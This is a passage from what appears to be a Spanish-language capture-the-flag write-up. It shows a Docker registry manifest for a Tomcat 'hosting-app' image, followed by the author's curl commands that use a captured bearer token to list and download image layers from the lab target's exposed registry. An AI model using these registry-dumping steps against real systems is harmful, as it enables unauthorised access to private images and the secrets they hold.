F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23\",\"TOMCAT_MAJOR=9\",\"TOMCAT_VERSION=9.0.2\",\"TOMCAT_SHA1=b59e1d658a4edbca7a81d12fd6f20203a4da9743\",\"TOMCAT_TGZ_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz\",\"TOMCAT_ASC_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) \",\"CMD [\\\"catalina.sh\\\" \\\"run\\\"]\"],\"Image\":\"sha256:57f3a04ba3229928a30942945b0fb3c74bd61cec80cbc5a41d7d61a2d1c3ec4f\",\"Volumes\":null,\"WorkingDir\":\"/usr/local/tomcat\",\"Entrypoint\":null,\"OnBuild\":[],\"Labels\":{}},\"created\":\"2023-07-04T10:57:03.768956926Z\",\"docker_version\":\"20.10.23\",\"id\":\"1f5797acb3ce332a92212fac43141b9179f396db844876ea976828c027cc5cd2\",\"os\":\"linux\",\"parent\":\"b581fd7323f8b829979a384105c27aeff6f114f0b5e63aaa00e4090ce50df370\",\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"b581fd7323f8b829979a384105c27aeff6f114f0b5e63aaa00e4090ce50df370\",\"parent\":\"1c287aa55678a4fa6681ba16d09ce6bf798fac6640dceb43230e18a04316aee1\",\"created\":\"2023-07-04T10:57:03.500684978Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) USER app\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"1c287aa55678a4fa6681ba16d09ce6bf798fac6640dceb43230e18a04316aee1\",\"parent\":\"c5b60d48ea6e9578b52142829c5a979f0429207c7ff107f556c73b2d00230ba2\",\"created\":\"2023-07-04T10:57:03.230181852Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) COPY --chown=app:appfile:24e216b758a41629b4357c4cd3aa1676635e7f68b432edff5124a8af4b95362f in /etc/hosting.ini \"]}}"
},
{
"v1Compatibility": "{\"id\":\"c5b60d48ea6e9578b52142829c5a979f0429207c7ff107f556c73b2d00230ba2\",\"parent\":\"8352728bd14b4f5a18051ae76ce15e3d3a97180d5a699b3847d89570e37354f1\",\"created\":\"2023-07-04T10:57:02.865658784Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c chown -R app /usr/local/tomcat/\"]}}"
},
{
"v1Compatibility": "{\"id\":\"8352728bd14b4f5a18051ae76ce15e3d3a97180d5a699b3847d89570e37354f1\",\"parent\":\"a785065e8f19dad061ddf5035668d11bc69cd943634130ffd35ab8fcd9884da0\",\"created\":\"2023-07-04T10:56:56.087876543Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c adduser -S -u 1000 -G app app\"]}}"
},
{
"v1Compatibility": "{\"id\":\"a785065e8f19dad061ddf5035668d11bc69cd943634130ffd35ab8fcd9884da0\",\"parent\":\"690545aba874c1cbffa3b6cfa0b6708cffb39c97d4b823b4cef4abd0db23cce0\",\"created\":\"2023-07-04T10:56:55.215778789Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c addgroup -S -g 1000 app\"]}}"
},
{
"v1Compatibility": "{\"id\":\"690545aba874c1cbffa3b6cfa0b6708cffb39c97d4b823b4cef4abd0db23cce0\",\"parent\":\"a133674c237f389cb7d5e0c12177d5a7f3dcc3f068f6e92561f5898835c827d6\",\"created\":\"2023-07-04T10:56:54.346382505Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) COPY file:c7945822095fe4c2530de4cf6bf7c729cbe6af014740a937187ab5d2e35c30f6 in /usr/local/tomcat/webapps/hosting.war \"]}}"
},
{
"v1Compatibility": "{\"id\":\"a133674c237f389cb7d5e0c12177d5a7f3dcc3f068f6e92561f5898835c827d6\",\"parent\":\"57f5a3c239ecc33903be4eabc571b72d8d934124b84dc6bdffb476845a9af610\",\"created\":\"2023-07-04T10:56:53.888849151Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) COPY file:9fd68c3bdf49b0400fb5ecb77c7ac57ae96f83db385b6231feb7649f7daa5c23 in /usr/local/tomcat/conf/context.xml \"]}}"
},
{
"v1Compatibility": "{\"id\":\"57f5a3c239ecc33903be4eabc571b72d8d934124b84dc6bdffb476845a9af610\",\"parent\":\"b01f09ef77c3df66690a924577eabb8ed7043baeaa37a1b608370d0489e4fdee\",\"created\":\"2023-07-04T10:56:53.629058758Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /usr/local/tomcat/webapps/ROOT\"]}}"
},
{
"v1Compatibility": "{\"id\":\"b01f09ef77c3df66690a924577eabb8ed7043baeaa37a1b608370d0489e4fdee\",\"parent\":\"80e769c3cd6d9be2bcfea77a058c23d7ea112afaddce9e12c8eebf6d759923fe\",\"created\":\"2018-01-10T09:34:07.981925046Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"catalina.sh\\\" \\\"run\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"80e769c3cd6d9be2bcfea77a058c23d7ea112afaddce9e12c8eebf6d759923fe\",\"parent\":\"f5f0aebde7367c572f72c6d19cbea5b9b039b281b5e140bcd1a9b30ebc4883ce\",\"created\":\"2018-01-10T09:34:07.723478629Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) EXPOSE 8080/tcp\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"f5f0aebde7367c572f72c6d19cbea5b9b039b281b5e140bcd1a9b30ebc4883ce\",\"parent\":\"7aa3546803b6195a9839f57454a9d61a490e5e5f921b65b7ce9883615a7fef76\",\"created\":\"2018-01-10T09:34:07.47548453Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -e \\t\\u0026\\u0026 nativeLines=\\\"$(catalina.sh configtest 2\\u003e\\u00261)\\\" \\t\\u0026\\u0026 nativeLines=\\\"$(echo \\\"$nativeLines\\\" | grep 'Apache Tomcat Native')\\\" \\t\\u0026\\u0026 nativeLines=\\\"$(echo \\\"$nativeLines\\\" | sort -u)\\\" \\t\\u0026\\u0026 if ! echo \\\"$nativeLines\\\" | grep 'INFO: Loaded APR based Apache Tomcat Native library' \\u003e\\u00262; then \\t\\techo \\u003e\\u00262 \\\"$nativeLines\\\"; \\t\\texit 1; \\tfi\"]}}"
},
{
"v1Compatibility": "{\"id\":\"7aa3546803b6195a9839f57454a9d61a490e5e5f921b65b7ce9883615a7fef76\",\"parent\":\"c23e626ece757750f0686befb692e52700626071dcd62c9b7424740c3683a842\",\"created\":\"2018-01-10T09:33:57.030831358Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -eux; \\t\\tapk add --no-cache --virtual .fetch-deps \\t\\tca-certificates \\t\\topenssl \\t; \\t\\tsuccess=; \\tfor url in $TOMCAT_TGZ_URLS; do \\t\\tif wget -O tomcat.tar.gz \\\"$url\\\"; then \\t\\t\\tsuccess=1; \\t\\t\\tbreak; \\t\\tfi; \\tdone; \\t[ -n \\\"$success\\\" ]; \\t\\techo \\\"$TOMCAT_SHA1 *tomcat.tar.gz\\\" | sha1sum -c -; \\t\\tsuccess=; \\tfor url in $TOMCAT_ASC_URLS; do \\t\\tif wget -O tomcat.tar.gz.asc \\\"$url\\\"; then \\t\\t\\tsuccess=1; \\t\\t\\tbreak; \\t\\tfi; \\tdone; \\t[ -n \\\"$success\\\" ]; \\t\\tgpg --batch --verify tomcat.tar.gz.asc tomcat.tar.gz; \\ttar -xvf tomcat.tar.gz --strip-components=1; \\trm bin/*.bat; \\trm tomcat.tar.gz*; \\t\\tnativeBuildDir=\\\"$(mktemp -d)\\\"; \\ttar -xvf bin/tomcat-native.tar.gz -C \\\"$nativeBuildDir\\\" --strip-components=1; \\tapk add --no-cache --virtual .native-build-deps \\t\\tapr-dev \\t\\tcoreutils \\t\\tdpkg-dev dpkg \\t\\tgcc \\t\\tlibc-dev \\t\\tmake \\t\\t\\\"openjdk${JAVA_VERSION%%[-~bu]*}\\\"=\\\"$JAVA_ALPINE_VERSION\\\" \\t\\topenssl-dev \\t; \\t( \\t\\texport CATALINA_HOME=\\\"$PWD\\\"; \\t\\tcd \\\"$nativeBuildDir/native\\\"; \\t\\tgnuArch=\\\"$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)\\\"; \\t\\t./configure \\t\\t\\t--build=\\\"$gnuArch\\\" \\t\\t\\t--libdir=\\\"$TOMCAT_NATIVE_LIBDIR\\\" \\t\\t\\t--prefix=\\\"$CATALINA_HOME\\\" \\t\\t\\t--with-apr=\\\"$(which apr-1-config)\\\" \\t\\t\\t--with-java-home=\\\"$(docker-java-home)\\\" \\t\\t\\t--with-ssl=yes; \\t\\tmake -j \\\"$(nproc)\\\"; \\t\\tmake install; \\t); \\trunDeps=\\\"$( \\t\\tscanelf --needed --nobanner --format '%n#p' --recursive \\\"$TOMCAT_NATIVE_LIBDIR\\\" \\t\\t\\t| tr ',' '\\\\n' \\t\\t\\t| sort -u \\t\\t\\t| awk 'system(\\\"[ -e /usr/local/lib/\\\" $1 \\\" ]\\\") == 0 { next } { print \\\"so:\\\" $1 }' \\t)\\\"; \\tapk add --virtual .tomcat-native-rundeps $runDeps; \\tapk del .fetch-deps .native-build-deps; \\trm -rf \\\"$nativeBuildDir\\\"; \\trm bin/tomcat-native.tar.gz; \\t\\tapk add --no-cache bash; \\tfind ./bin/ -name '*.sh' -exec sed -ri 's|^#!/bin/sh$|#!/usr/bin/env bash|' '{}' +\"]}}"
},
{
"v1Compatibility": "{\"id\":\"c23e626ece757750f0686befb692e52700626071dcd62c9b7424740c3683a842\",\"parent\":\"ba737ee0cd9073e2003dbc41ebaa4ac347a9da8713ee3cdd18c9099c71d715d7\",\"created\":\"2018-01-10T09:33:33.620084689Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_ASC_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"ba737ee0cd9073e2003dbc41ebaa4ac347a9da8713ee3cdd18c9099c71d715d7\",\"parent\":\"67f844d01db77d9e5e9bdc5c154a8d40bdfe8ec30f2c0aa6c199448aab75f94e\",\"created\":\"2018-01-10T09:33:33.366948345Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_TGZ_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"67f844d01db77d9e5e9bdc5c154a8d40bdfe8ec30f2c0aa6c199448aab75f94e\",\"parent\":\"61e9c45c309801f541720bb694574780aaf3f9c9ba939afd3a2248f921257e2b\",\"created\":\"2018-01-10T09:33:33.130789837Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_SHA1=b59e1d658a4edbca7a81d12fd6f20203a4da9743\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"61e9c45c309801f541720bb694574780aaf3f9c9ba939afd3a2248f921257e2b\",\"parent\":\"7aa678f161898c0b2fb24800833ec8a88e29662a4aeb73d9fd09f0f3e2880638\",\"created\":\"2018-01-10T09:33:32.902199138Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_VERSION=9.0.2\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7aa678f161898c0b2fb24800833ec8a88e29662a4aeb73d9fd09f0f3e2880638\",\"parent\":\"d436c875c4061e0058d744bb26561bc738cba69b135416d441401faeb47b558c\",\"created\":\"2018-01-10T09:33:32.656603152Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_MAJOR=9\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"d436c875c4061e0058d744bb26561bc738cba69b135416d441401faeb47b558c\",\"parent\":\"15ee0d244e69dcb1e0ff2817e31071a18a7352ae4e5bb1765536a831bf69ecfc\",\"created\":\"2018-01-10T09:33:29.658955433Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -ex; \\tfor key in $GPG_KEYS; do \\t\\tgpg --keyserver ha.pool.sks-keyservers.net --recv-keys \\\"$key\\\"; \\tdone\"]}}"
},
{
"v1Compatibility": "{\"id\":\"15ee0d244e69dcb1e0ff2817e31071a18a7352ae4e5bb1765536a831bf69ecfc\",\"parent\":\"ff0264281c2fadd4108ccac96ddce82587bc26666b918f31bcb43b7ef73c65e8\",\"created\":\"2018-01-10T09:33:20.722817917Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"ff0264281c2fadd4108ccac96ddce82587bc26666b918f31bcb43b7ef73c65e8\",\"parent\":\"4d9c918fda475437138013a0cf2e0c9086e7c1ed8190c1a0cef8d2b882937428\",\"created\":\"2018-01-10T09:29:11.265649726Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c apk add --no-cache gnupg\"]}}"
},
{
"v1Compatibility": "{\"id\":\"4d9c918fda475437138013a0cf2e0c9086e7c1ed8190c1a0cef8d2b882937428\",\"parent\":\"7577bdb4d1f873242bef6582d26031cdea0a64cccf8f8608a8c07cb3cc74611e\",\"created\":\"2018-01-10T09:29:07.609109611Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7577bdb4d1f873242bef6582d26031cdea0a64cccf8f8608a8c07cb3cc74611e\",\"parent\":\"839af1242b7dcef37994affedfee3e2c52246e521ac101e703737fc0164cdf5c\",\"created\":\"2018-01-10T09:29:07.376174727Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"839af1242b7dcef37994affedfee3e2c52246e521ac101e703737fc0164cdf5c\",\"parent\":\"ea6f6f5cf5c076bca613117419ab5c2d591798dc146fa25b1ab5f77dadf35a0c\",\"created\":\"2018-01-10T09:29:07.155029096Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) WORKDIR /usr/local/tomcat\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"ea6f6f5cf5c076bca613117419ab5c2d591798dc146fa25b1ab5f77dadf35a0c\",\"parent\":\"c55835e0e7564582d31203616f363dfb303cab260c1a6dec9a2a0329a8e27b81\",\"created\":\"2018-01-10T09:29:06.890891119Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p \\\"$CATALINA_HOME\\\"\"]}}"
},
{
"v1Compatibility": "{\"id\":\"c55835e0e7564582d31203616f363dfb303cab260c1a6dec9a2a0329a8e27b81\",\"parent\":\"32c57341ccdca27052b71277715b86f2c0ad436ac493bb79467a8df664379ba9\",\"created\":\"2018-01-10T09:29:06.087097667Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"32c57341ccdca27052b71277715b86f2c0ad436ac493bb79467a8df664379ba9\",\"parent\":\"c54559a23f245bd25ad627150eaadb1e99a60811ad2955e6a747f2a59b09b22b\",\"created\":\"2018-01-10T09:29:05.864118034Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV CATALINA_HOME=/usr/local/tomcat\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"c54559a23f245bd25ad627150eaadb1e99a60811ad2955e6a747f2a59b09b22b\",\"parent\":\"86a2c94b64bc779ec79acaa9f0ab00dff4a664d23f7546330a3165f1137cd596\",\"created\":\"2018-01-10T04:52:04.664605562Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -x \\t\\u0026\\u0026 apk add --no-cache \\t\\topenjdk8-jre=\\\"$JAVA_ALPINE_VERSION\\\" \\t\\u0026\\u0026 [ \\\"$JAVA_HOME\\\" = \\\"$(docker-java-home)\\\" ]\"]}}"
},
{
"v1Compatibility": "{\"id\":\"86a2c94b64bc779ec79acaa9f0ab00dff4a664d23f7546330a3165f1137cd596\",\"parent\":\"8ad7d8482d05498820d3256b0ba7eeaf21b8e7ab63044a4bce65116a5dac6a49\",\"created\":\"2018-01-10T04:51:57.540527702Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV JAVA_ALPINE_VERSION=8.151.12-r0\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"8ad7d8482d05498820d3256b0ba7eeaf21b8e7ab63044a4bce65116a5dac6a49\",\"parent\":\"55332c2663c5991fc04851d7980056a37cf2d703e90ef658fd8adccd947f5ca1\",\"created\":\"2018-01-10T04:51:57.314525921Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV JAVA_VERSION=8u151\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"55332c2663c5991fc04851d7980056a37cf2d703e90ef658fd8adccd947f5ca1\",\"parent\":\"3f24ff911184223f9c7e0b260cce136bc9cededdbdce79112e2a84e4c34bb568\",\"created\":\"2018-01-10T04:51:57.072315887Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"3f24ff911184223f9c7e0b260cce136bc9cededdbdce79112e2a84e4c34bb568\",\"parent\":\"0ed181ef14afa5947383aaa2644e5ece84fb1a70f3156708709f2d04b6a6ec9e\",\"created\":\"2018-01-10T04:51:56.850972184Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"0ed181ef14afa5947383aaa2644e5ece84fb1a70f3156708709f2d04b6a6ec9e\",\"parent\":\"5a545e9783766d38b2d99784c9d9bf5ed547bf48e1a293059b4cc7f27dd34b31\",\"created\":\"2018-01-10T04:48:25.431215554Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c { \\t\\techo '#!/bin/sh'; \\t\\techo 'set -e'; \\t\\techo; \\t\\techo 'dirname \\\"$(dirname \\\"$(readlink -f \\\"$(which javac || which java)\\\")\\\")\\\"'; \\t} \\u003e /usr/local/bin/docker-java-home \\t\\u0026\\u0026 chmod +x /usr/local/bin/docker-java-home\"]}}"
},
{
"v1Compatibility": "{\"id\":\"5a545e9783766d38b2d99784c9d9bf5ed547bf48e1a293059b4cc7f27dd34b31\",\"parent\":\"2dea27bce7d674e8140e0378fe5a51157011109d9da593bab1ecf86c93595292\",\"created\":\"2018-01-10T04:48:24.510692074Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV LANG=C.UTF-8\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"2dea27bce7d674e8140e0378fe5a51157011109d9da593bab1ecf86c93595292\",\"parent\":\"28a0c8bbcab32237452c3dadfb8302a6fab4f6064be2d858add06a7be8c32924\",\"created\":\"2018-01-09T21:10:58.579708634Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"28a0c8bbcab32237452c3dadfb8302a6fab4f6064be2d858add06a7be8c32924\",\"created\":\"2018-01-09T21:10:58.365737589Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:093f0723fa46f6cdbd6f7bd146448bb70ecce54254c35701feeceb956414622f in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "BH7A:RDKN:4ITR:JT3B:KSKO:BYLB:4MSQ:LUYS:OOD3:2PBY:KHEB:CAEI",
"kty": "EC",
"x": "UxAAuH95bWHK1LHGCDfBeadxl36QiO9JIcxWNYOaxME",
"y": "Sw7ANCTR0DC64PdGq40nNCsS-uYw9vi76XhJyEeD61E"
},
"alg": "ES256"
},
"signature": "FdAFAT7c0-yBPWJGoDIkaS7e1XUd3r-dKYdIZxICt6V82_z__hp4ovTigVqv4jRtQ-e_cUDXf2WKOESWHnlTbQ",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI2MDkxLCJmb3JtYXRUYWlsIjoiQ24wIiwidGltZSI6IjIwMjMtMDctMjVUMjM6MzY6MzFaIn0"
}
]
}
Para descargarlos todos, usaremos algunos comandos de shell:
$ curl -k https://10.10.11.223:5000/v2/hosting-app/manifests/latest -sH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA' | jq -r '.fsLayers[].blobSum'
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba
sha256:4a19a05f49c2d93e67d7c9ea8ba6c310d6b358e811c8ae37787f21b9ad82ac42
sha256:9e700b74cc5b6f81ed6513fa03c7b6ab11a71deb8e27604632f723f81aca3268
sha256:b5ac54f57d23fa33610cb14f7c21c71aa810e58884090cead5e3119774a202dc
sha256:396c4a40448860471ae66f68c261b9a0ed277822b197730ba89cb50528f042c7
sha256:9d5bcc17fed815c4060b373b2a8595687502925829359dc244dd4cdff777a96c
sha256:ab55eca3206e27506f679b41b39ba0e4c98996fa347326b6629dae9163b4c0ec
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:f7b708f947c32709ecceaffd85287d5eb9916a3013f49c8416228ef22c2bf85e
sha256:497760bf469e19f1845b7f1da9cfe7e053beb57d4908fb2dff2a01a9f82211f9
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:e4cc5f625cda9caa32eddae6ac29b170c8dc1102988b845d7ab637938f2f6f84
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:0da484dfb0612bb168b7258b27e745d0febf56d22b8f10f459ed0d1dfe345110
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:7b43ca85cb2c7ccc62e03067862d35091ee30ce83e7fed9e135b1ef1c6e2e71b
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:fa7536dd895ade2421a9a0fcf6e16485323f9e2e45e917b1ff18b0f648974626
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:5de5f69f42d765af6ffb6753242b18dd4a33602ad7d76df52064833e5c527cb4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a41134e28
$ blobs=$(curl -k https://10.10.11.223:5000/v2/hosting-app/manifests/latest -sH 'Authorization: Bearer 